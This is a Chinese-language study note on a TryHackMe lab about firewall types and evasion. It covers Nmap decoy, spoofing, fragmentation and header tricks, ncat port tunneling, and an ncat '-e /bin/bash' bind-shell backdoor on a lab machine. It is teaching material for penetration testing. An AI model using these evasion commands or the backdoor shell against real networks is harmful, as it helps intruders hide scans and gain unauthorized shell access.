
Firewalls
防火墙是一种软件或硬件,它监控网络流量,并在通过或阻止网络流量之前将其与一组规则进行比较。一个简单的类比是一个事件入口处的警卫或看门人。这个看门人可以在允许个人进入(或离开)之前,对照一组规则检查他们的ID。 在我们深入了解防火墙的更多细节之前,记住IP数据包和TCP数据段的内容是有帮助的。下图显示了我们期望在IP报头中找到的字段。如果下图看起来很复杂,你不必担心,因为我们只对几个领域感兴趣。不同类型的防火墙能够检查不同的数据包字段;但是,最基本的防火墙至少应该能够检查以下字段:
- 协议
- 源地址
- 目的地址

根据协议字段的不同,IP数据报中的数据可以是许多选项中的一个。三种常见的协议是:
- TCP
- UDP
- ICMP
在TCP或UDP的情况下,防火墙至少应该能够检查TCP和UDP报头:
- Source Port Number
- Destination Port Number
TCP报头如下图所示。我们注意到,防火墙可能分析也可能不分析许多字段;然而,即使是最有限的防火墙也应该让防火墙管理员控制允许或阻止的源端口号和目的端口号。

传统防火墙的设计逻辑是端口号将标识服务和协议。在传统防火墙(即包过滤防火墙)中,主要基于以下内容来允许和阻止一切:
- 协议,如TCP、UDP和ICMP IP
- 源地址IP
- 目的地址
- 源TCP或UDP端口号
- 目的TCP或UDP端口号
让我们考虑这个非常简单的例子。如果要阻止HTTP流量,需要阻止来自源TCP端口80的TCP流量,即HTTP默认使用的端口号。如果要允许HTTPS流量,应该允许来自源TCP端口号443的流量,即HTTPS使用的端口号。显然,这是没有效率的,因为我们需要包括其他默认端口号。此外,该服务可以在非默认端口号上运行。有人可以在端口53或6667上运行HTTP服务器。
请访问服务名称和传输协议端口号注册表,了解有关默认端口号的更多信息,并回答以下问题。
1.Types of Firewalls
防火墙的分类有多种方法。对防火墙进行分类的一种方法是看它们是否是独立的设备。
- 硬件防火墙(设备防火墙):顾名思义,设备防火墙是网络流量必须经过的独立硬件。示例包括 Cisco ASA(自适应安全设备)、WatchGuard Firebox 和 Netgate pfSense Plus 设备。
- 软件防火墙:这是与操作系统捆绑在一起的软件,或者您可以将其作为附加服务安装。 MS Windows 具有内置防火墙 Windows Defender 防火墙,它与其他操作系统服务和用户应用程序一起运行。另一个例子是Linux iptables 和firewalld。

我们还可以将防火墙分为:
- 个人防火墙:个人防火墙旨在保护单个系统或小型网络,例如家庭网络中的少量设备和系统。最有可能的是,您在家中使用个人防火墙而没有太注意它。例如,许多专为家庭设计的无线接入点都有内置防火墙。 Bitdefender BOX 就是一个例子。另一个例子是防火墙,它是 Linksys 和 Dlink 的许多无线接入点和家庭路由器的一部分。
- 商业防火墙:商业防火墙保护大中型网络。因此,除了支持更高的网络带宽之外,您还期望更高的可靠性和处理能力。当您从大学或公司内部访问互联网时,您很可能会经过这样的防火墙。
从红队的角度来看,最关键的分类是基于防火墙检查能力。值得考虑下图所示的 ISO/OSI 层的防火墙能力。在我们根据防火墙的功能对防火墙进行分类之前,值得记住的是,防火墙重点关注第 3 层和第 4 层,并在较小程度上关注第 2 层。下一代防火墙还设计为覆盖第 5 层、第 6 层和第 7 层。防火墙可以检查的层数越多,它就越复杂,所需的处理能力也就越强。

根据防火墙的能力,我们可以列出以下防火墙类型:
- 包过滤防火墙:数据包过滤是最基本的防火墙类型。此类防火墙会检查 TCP 和 UDP 数据报的协议、源和目标 IP 地址以及源和目标端口。它是一个无状态的检查防火墙。
- 电路级网关:除了包过滤防火墙提供的功能之外,电路级网关还可以提供其他功能,例如根据防火墙规则检查 TCP 三向握手。
- 状态检测防火墙:与以前的类型相比,这种类型的防火墙提供了额外的保护层,因为它跟踪已建立的 TCP 会话。因此,它可以检测并阻止已建立的 TCP 会话之外的任何 TCP 数据包。
- 代理防火墙:代理防火墙也称为应用程序防火墙 (AF) 和 Web 应用程序防火墙 (WAF)。它旨在伪装成原始客户端并代表其发出请求。此过程允许代理防火墙检查数据包有效负载的内容,而不是仅限于数据包标头。一般来说,这用于 Web 应用程序,并不适用于所有协议。
- 下一代防火墙 (NGFW):NGFW 提供最高级别的防火墙保护。它实际上可以监控从 OSI 第 2 层到 OSI 第 7 层的所有网络层。它具有应用程序感知和控制功能。示例包括 Juniper SRX 系列和 Cisco Firepower。
- 云防火墙或防火墙即服务 (FWaaS):FWaaS 取代了云环境中的硬件防火墙。其功能可能与 NGFW 相当,具体取决于服务提供商;然而,它受益于云架构的可扩展性。 Cloudflare Magic Firewall 就是一个例子,它是一种网络级防火墙。另一个例子是瞻博网络 vSRX;它具有与NGFW相同的功能,但部署在云端。还值得一提的是用于 Web 应用程序保护的 AWS WAF 和用于 DDoS 保护的 AWS Shield。
2.Evasion via Controlling the Source MAC/IP/Port(通过控制源MAC/IP/端口进行规避)
当扫描防火墙后面的主机时,防火墙通常会检测并阻止端口扫描。这种情况需要您调整网络和端口扫描以逃避防火墙。像 Nmap 这样的网络扫描仪提供了一些功能来帮助完成此类任务。在这个房间里,我们将 Nmap 技术分为三组:
- 通过控制源 MAC/IP/端口进行规避
- 通过分段、MTU 和数据长度进行规避
- 通过修改标头字段进行规避
Nmap 允许您隐藏或欺骗源,您可以使用:
- Decoy(s)
- Proxy
- Spoofed MAC Address
- Spoofed Source IP Address
- Fixed Source Port Number
在详细介绍每种方法之前,让我们先展示一下 Nmap 隐形 (SYN) 扫描是什么样的。我们正在扫描 MS Windows 目标(具有默认内置防火墙),因此我们添加了 -Pn 来强制扫描继续进行,即使没有收到 ping 回复也是如此。 -Pn 用于跳过主机发现并测试主机是否在线。此外,为了加快扫描速度,我们使用 -F 选项将自己限制为 100 个最常见的端口。使用以下命令 nmap -sS -Pn -F MACHINE_IP 执行扫描。
以下屏幕截图显示了 Wireshark 对 Nmap 探测数据包的捕获。 Wireshark 运行在运行 Nmap 的同一系统上。

我们可以深入研究每个数据包中嵌入的所有细节;然而,对于本次练习,我们要注意以下几点:
- 我们的 IP 地址 10.14.17.226 已生成并发送了大约 200 个数据包。 -F选项限制扫描前100个常用端口;此外,如果每个端口没有回复第一个 SYN 数据包,则会发送第二个 SYN 数据包。
- 源端口号是随机选择的。在屏幕截图中,您可以看到它是 37710。
- IP数据包的总长度为44字节。 IP 标头有 20 个字节,剩下 24 个字节用于 TCP 标头。没有数据通过 TCP 发送。
- 生存时间 (TTL) 为 42。
- 校验和中不会引入任何错误。
(1)Decoy(s)
用诱饵隐藏你的扫描。使用诱饵会使您的 IP 地址与其他“诱饵”IP 地址混合。因此,防火墙和目标主机将很难知道端口扫描来自何处。此外,这可能会耗尽蓝队调查每个源 IP 地址的精力。 使用 -D 选项,您可以添加诱饵源 IP 地址来迷惑目标。考虑以下命令:
nmap -sS -Pn -D 10.10.10.1,10.10.10.2,ME -F MACHINE_IP。 Wireshark抓包如下图所示。

当只有一个源 IP 地址 ME 运行扫描时,目标 MACHINE_IP 还将看到来自 10.10.10.1 和 10.10.10.2 的扫描。请注意,如果您在扫描命令中省略 ME 条目,Nmap 会将您的真实 IP 地址(即 ME)放在随机位置。 您还可以将 Nmap 设置为使用随机源 IP 地址,而不是显式指定它们。通过运行 nmap -sS -Pn -D RND,RND,ME -F MACHINE_IP,Nmap 将选择两个随机源 IP 地址作为诱饵。每次运行此命令时,Nmap 将使用新的随机 IP 地址。在下面的屏幕截图中,我们看到 Nmap 如何选择两个随机 IP 地址以及我们自己的 IP 地址 10.14.17.226。

(2)Proxy
使用 HTTP/SOCKS4 代理。通过代理中继端口扫描有助于使目标主机不知道您的 IP 地址。此技术允许您在目标记录代理服务器的 IP 地址时隐藏您的 IP 地址。您可以使用 Nmap 选项 –proxies PROXY_URL 走这条路线。例如, nmap -sS -Pn –proxies PROXY_URL -F MACHINE_IP 将通过您指定的代理服务器发送其所有数据包。请注意,您可以使用逗号分隔的列表来链接代理。
(3)Spoofed MAC Address
欺骗源 MAC 地址。 Nmap 允许您使用选项 –spoof-mac MAC_ADDRESS 来欺骗您的 MAC 地址。这种技术很棘手;仅当您的系统与目标主机位于同一网段时,欺骗 MAC 地址才有效。目标系统将回复欺骗性的 MAC 地址。如果您不在同一网段,共享同一以太网,您将无法捕获和读取响应。它允许您利用任何基于 MAC 地址的信任关系。此外,您可以使用此技术来隐藏网络上的扫描活动。例如,您可以使扫描结果看起来就像来自网络打印机一样。
(4)Spoofed IP Address
欺骗源IP地址。 Nmap 允许您使用 -S IP_ADDRESS 欺骗您的 IP 地址。如果您的系统与目标主机位于同一子网中,则欺骗 IP 地址非常有用;否则,您将无法阅读发回的回复。原因是目标主机将回复欺骗的 IP 地址,除非您可以捕获响应,否则您将无法从该技术中受益。欺骗 IP 地址的另一个用途是当您控制具有该特定 IP 地址的系统时。因此,如果您发现目标开始阻止欺骗性 IP 地址,您可以切换到属于您也控制的系统的其他欺骗性 IP 地址。这种扫描技术可以帮助你保持隐秘的存在;此外,您可以使用此技术来利用网络上基于 IP 地址的信任关系。
(5)Fixed Source Port Number
使用特定的源端口号。如果您发现防火墙允许来自特定源端口号(例如端口 53 或 80)的传入数据包,则从一个特定源端口号进行扫描会很有帮助。如果不检查数据包内容,来自源 TCP 端口 80 或 443 的数据包看起来就像来自Web 服务器,而来自 UDP 端口 53 的数据包看起来像是对 DNS 查询的响应。您可以使用 -g 或 –source-port 选项设置端口号。 以下 Wireshark 屏幕截图显示了使用固定源 TCP 端口号 8080 进行的 Nmap 扫描。我们使用了以下 Nmap 命令:nmap -sS -Pn -g 8080 -F MACHINE_IP。您可以在屏幕截图中看到所有 TCP 连接是如何从同一 TCP 端口号发送的。

这是本任务中讨论的 Nmap 选项的快速摘要。
Evasion Approach | Nmap Argument |
---|---|
Hide a scan with decoys | -D DECOY1_IP1,DECOY_IP2,ME |
Hide a scan with random decoys | -D RND,RND,ME |
Use an HTTP/SOCKS4 proxy to relay connections | --proxies PROXY_URL |
Spoof source MAC address | --spoof-mac MAC_ADDRESS |
Spoof source IP address | -S IP_ADDRESS |
Use a specific source port number | -g PORT_NUM or --source-port PORT_NUM |
3.Evasion via Forcing Fragmentation, MTU, and Data Length(通过强制分段、MTU 和数据长度进行规避)
您可以控制数据包大小,因为它允许您:
- 对数据包进行分段,可以选择使用给定的 MTU。如果防火墙或 IDS/IPS 不重新组装数据包,则很可能会让其通过。因此,目标系统将重新组装并处理它。
- 发送具有特定数据长度的数据包。
(1)使用 8 字节数据对数据包进行分段
对数据包进行分段的一种简单方法是使用 -f 选项。此选项会将 IP 数据包分段以仅携带 8 字节的数据。如前所述,运行 Nmap TCP 端口扫描意味着 IP 数据包将保存 24 个字节,即 TCP 标头。如果要将 IP 数据限制为 8 个字节,则 TCP 标头的 24 个字节将分为 3 个 IP 数据包。这正是我们运行 Nmap 扫描 nmap -sS -Pn -f -F MACHINE_IP 时获得的结果。从下图中的 Wireshark 捕获中我们可以看到,每个 IP 数据包被分成三个数据包,每个数据包有 8 个字节的数据。

(2)使用 16 字节数据对数据包进行分段
另一个方便的选项是 -ff,将 IP 数据限制为 16 字节。 (记住这一点的一种简单方法是,一个 f 是 8 字节,但两个 f 是 16 字节。)通过运行 nmap -sS -Pn -ff -F MACHINE_IP,我们期望 TCP 标头的 24 字节被划分为两个IP数据包,16 + 8,因为-ff设置了16字节的上限。下面的 Wireshark 捕获显示了前几个数据包。

(3)根据设定的 MTU 对数据包进行分段
另一种对数据包进行分段的巧妙方法是设置 MTU。在 Nmap 中,–mtu VALUE 指定每个 IP 数据包的字节数。换句话说,不包括 IP 标头大小。 MTU 设置的值必须始终是 8 的倍数。 请注意,最大传输单元 (MTU) 指示在某个链路层连接上可以通过的最大数据包大小。例如,以太网的 MTU 为 1500,这意味着可以通过以太网(链路层)连接发送的最大 IP 数据包为 1500 字节。请不要将此 MTU 与 Nmap 选项中的 –mtu 混淆。 使用 –mtu 8 运行 Nmap 与 -f 相同,因为 IP 数据将限制为 8 个字节。此 Nmap 扫描 nmap -sS -Pn –mtu 8 -F MACHINE_IP 生成的前几个数据包显示在以下 Wireshark 捕获中。

(4)生成特定长度的数据包
在某些情况下,您可能会发现数据包的大小触发了防火墙或 IDS/IPS 来检测并阻止您。如果您发现自己处于这种情况,您可以通过设置特定的长度来使端口扫描更加躲避。您可以使用 –data-length VALUE 设置 IP 数据包中携带的数据长度。再次强调,长度应该是 8 的倍数。 如果运行以下 Nmap 扫描 nmap -sS -Pn –data-length 64 -F MACHINE_IP,每个 TCP 段将用随机数据填充,直到其长度为 64 字节。在下面的屏幕截图中,我们可以看到每个 TCP 段的长度为 64 字节。

这是本任务中讨论的 Nmap 选项的快速摘要。
Evasion Approach | Nmap Argument |
---|---|
Fragment IP data into 8 bytes | -f |
Fragment IP data into 16 bytes | -ff |
Fragment packets with given MTU | --mtu VALUE |
Specify packet length | --data-length NUM |
4. Evasion via Modifying Header Fields(通过修改标头字段进行规避)
Nmap 允许您控制可能有助于逃避防火墙的各种标头字段。你可以:
- 设置 IP 生存时间
- 发送具有指定 IP 选项的数据包
- 发送具有错误 TCP/UDP 校验和的数据包
(1)Set TTL
Nmap 使您可以进一步控制 IP 标头中的不同字段。您可以控制的字段之一是生存时间 (TTL)。 Nmap 选项包括 –ttl VALUE 将 TTL 设置为自定义值。如果您认为默认 TTL 会暴露您的端口扫描活动,则此选项可能很有用。 在下面的屏幕截图中,我们可以看到在运行扫描 nmap -sS -Pn –ttl 81 -F MACHINE_IP 时使用自定义 TTL 后 Wireshark 捕获的数据包。与前面的示例一样,下面的数据包是在运行 Nmap 的同一系统上捕获的。

(2)Set IP Options
IP 标头字段之一是 IP 选项字段。 Nmap 允许您使用 –ip-options HEX_STRING 控制 IP 选项字段中设置的值,其中十六进制字符串可以指定要用于填充 IP 选项字段的字节。每个字节写为\xHH,其中HH代表两个十六进制数字,即一个字节。 Nmap 提供的快捷方式是使用字母来提出您的请求:
- R 记录路线。
- T 记录时间戳。
- U 记录路由和记录时间戳。
- L 用于松散源路由,后面需要跟以空格分隔的 IP 地址列表。
- S 表示严格源路由,后面需要跟以空格分隔的 IP 地址列表。
如果您想尝试使数据包采用特定路由以避免特定的安全系统,松散和严格的源路由会很有帮助。
(3)Use a Wrong Checksum
您可以使用的另一个技巧是发送带有故意错误的校验和的数据包。有些系统会丢弃校验和错误的数据包,而其他系统则不会。您可以利用这一点来发现有关网络中系统的更多信息。您所需要做的就是将选项 –badsum 添加到 Nmap 命令中。
使用 nmap -sS -Pn –badsum -F 10.10.184.74,我们故意使用不正确的 TCP 校验和来扫描目标。目标丢弃了我们所有的数据包,并且没有响应任何数据包。
pentester@TryHackMe# nmap -sS -Pn --badsum -F 10.10.184.74
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-28 16:07 EET
Nmap scan report for 10.10.184.74
Host is up.
All 100 scanned ports on MACHINE_IP are filtered
Nmap done: 1 IP address (1 host up) scanned in 21.31 seconds
下面的屏幕截图显示了 Wireshark 在运行 Nmap 的系统上捕获的数据包。可以选择设置 Wireshark 来验证校验和,我们可以注意到它如何突出显示错误。

这是本任务中讨论的 Nmap 选项的快速摘要。
Evasion Approach | Nmap Argument |
---|---|
Set IP time-to-live field | --ttl VALUE |
Send packets with specified IP options | --ip-options OPTIONS |
Send packets with a wrong TCP/UDP checksum | --badsum |
5.Evasion Using Port Hopping(使用端口跳跃进行规避)
三种常见的防火墙规避技术是:
- Port hopping
- Port tunneling
- Use of non-standard ports
端口跳跃是一种应用程序从一个端口跳到另一个端口直到可以建立并维持连接的技术。换句话说,应用程序可能会尝试不同的端口,直到能够成功建立连接。一些“合法”应用程序使用此技术来逃避防火墙。在下图中,客户端不断尝试不同的端口来访问服务器,直到发现没有被防火墙阻止的目标端口。

还有另一种类型的端口跳跃,其中应用程序在一个端口上建立连接并开始传输一些数据;一段时间后,它在(即跳至)不同的端口上建立新连接并恢复发送更多数据。目的是让蓝队更难检测和跟踪所有交换的流量。
在 AttackBox 上,您可以使用命令 ncat -lvnp PORT_NUMBER 来监听某个 TCP 端口。
- -l 侦听传入连接
- -v 提供详细详细信息(可选)
- -n 不通过 DNS 解析主机名(可选)
- -p 指定要使用的端口号
- -lvnp PORT_NUMBER 侦听 TCP 端口 PORT_NUMBER。如果端口号小于 1024,则需要以 root 身份运行 ncat。
例如,在 AttackBox 上运行 ncat -lvnp 1025 以侦听 TCP 端口 1025,如下面的终端输出所示。
pentester@TryHackMe$ ncat -lvnp 1025
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1025
Ncat: Listening on 0.0.0.0:1025
我们想要测试目标机器是否可以通过 TCP 端口 1025 连接到 AttackBox。通过浏览 http://10.10.244.92:8080,您将看到一个网页,可让您在目标机器上执行命令。请注意,在实际情况下,您可能会利用允许远程代码执行 (RCE) 的易受攻击的服务或配置错误的系统来执行您选择的某些代码。 在本实验中,您可以通过在 http://10.10.244.92:8080 提供的表单上提交来简单地运行 Linux 命令。我们可以使用 Netcat 使用命令 ncat IP_ADDRSS PORT_NUMBER 连接到目标端口。例如,我们可以运行 ncat ATTACKBOX_IP 1024 以通过 TCP 端口 1024 连接到 AttackBox。我们要检查防火墙是否配置为允许连接。如果 IP 地址为 10.10.244.92 的机器的连接可以通过防火墙,我们将在 AttackBox 终端上收到连接成功的通知,如下所示。
pentester@TryHackMe$ ncat -lvnp 1025
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1025
Ncat: Listening on 0.0.0.0:1025
Ncat: Connection from 10.10.30.130.
Ncat: Connection from 10.10.30.130:51292.
6. Evasion Using Port Tunneling(使用端口隧道进行规避)
端口隧道也称为端口转发和端口映射。简单来说,这种技术将发送到一个目标端口的数据包转发到另一个目标端口。例如,发送到一个系统上的端口 80 的数据包将转发到另一系统上的端口 8080。
(1)Port Tunneling Using ncat
考虑这样一种情况:您的服务器位于防火墙后面,无法从外部访问。但是,您发现防火墙不会阻止特定端口。您可以通过不同端口传输流量来利用这些知识。 考虑以下情况。我们有一个 SMTP 服务器监听端口 25;但是,我们无法连接到 SMTP 服务器,因为防火墙阻止了从 Internet 发送到目标端口 25 的数据包。我们发现发送到目标端口 443 的数据包没有被阻止,因此我们决定利用这一点并将数据包发送到端口443,当它们通过防火墙后,我们将它们转发到端口 25。假设我们可以在防火墙后面的系统之一上运行我们选择的命令。我们可以使用以下命令使用该系统将数据包转发到 SMTP 服务器。
ncat -lvnp 443 -c "ncat TARGET_SERVER 25"
命令 ncat 使用以下选项:
- -lvnp 443 侦听 TCP 端口 443。由于端口号小于 1024,因此在这种情况下您需要以 root 身份运行 ncat。
- -c 或 –sh-exec 通过 /bin/sh 执行给定的命令。
- “ncat TARGET_SERVER 25”将连接到端口 25 的目标服务器。
因此,ncat 将侦听端口 443,但会将所有数据包转发到目标服务器上的端口 25。因为在这种情况下,防火墙阻止端口 25 并允许端口 443,所以端口隧道是逃避防火墙的有效方法。

7. Evasion Using Non-Standard Ports(使用非标准端口进行规避)
ncat -lvnp PORT_NUMBER -e /bin/bash 将通过指定的端口号创建一个后门,让您与 Bash shell 交互。
- -e 或 –exec 执行给定命令
- /bin/bash 我们要执行的命令的位置
在 AttackBox 上,我们可以运行 ncat MACHINE_IP PORT_NUMBER 来连接到目标计算机并与其 shell 交互。
考虑到我们有防火墙的情况,除非我们可以连接到侦听端口号,否则使用 ncat 创建后门是不够的。此外,除非我们以特权用户 root 身份运行 ncat,或者使用 sudo,否则我们不能使用低于 1024 的端口号。
8.Next-Generation Firewalls(下一代防火墙)
传统防火墙(例如数据包过滤防火墙)期望端口号来指示正在使用的协议并识别应用程序。因此,如果要阻止应用程序,则需要阻止端口。不幸的是,这不再有效,因为许多应用程序使用分配给其他应用程序的端口来伪装自己。换句话说,端口号不足以也不可靠地识别正在使用的应用程序。除此之外,还普遍使用加密技术,例如通过 SSL/TLS。 下一代防火墙(NGFW)旨在应对现代企业面临的新挑战。例如,NGFW 的一些功能包括:
- 集成防火墙和实时入侵防御系统 (IPS)。它可以实时阻止任何检测到的威胁。
- 识别用户及其流量。它可以针对每个用户或每个组强制执行安全策略。
- 无论使用什么端口号,都可以识别应用程序和协议。
- 识别正在传输的内容。如果检测到任何违规内容,它可以强制执行安全策略。
- 能够解密 SSL/TLS 和 SSH 流量。例如,它限制围绕加密构建的规避技术来传输恶意文件。
正确配置和部署的 NGFW 会使许多攻击变得毫无用处。
Evasion Approach | Nmap Argument |
---|---|
Hide a scan with decoys | -D DECOY1_IP1,DECOY_IP2,ME |
Use an HTTP/SOCKS4 proxy to relay connections | --proxies PROXY_URL |
Spoof source MAC address | --spoof-mac MAC_ADDRESS |
Spoof source IP address | -S IP_ADDRESS |
Use a specific source port number | -g PORT_NUM or --source-port PORT_NUM |
Fragment IP data into 8 bytes | -f |
Fragment IP data into 16 bytes | -ff |
Fragment packets with given MTU | --mtu VALUE |
Specify packet length | --data-length NUM |
Set IP time-to-live field | --ttl VALUE |
Send packets with specified IP options | --ip-options OPTIONS |
Send packets with a wrong TCP/UDP checksum | --badsum |

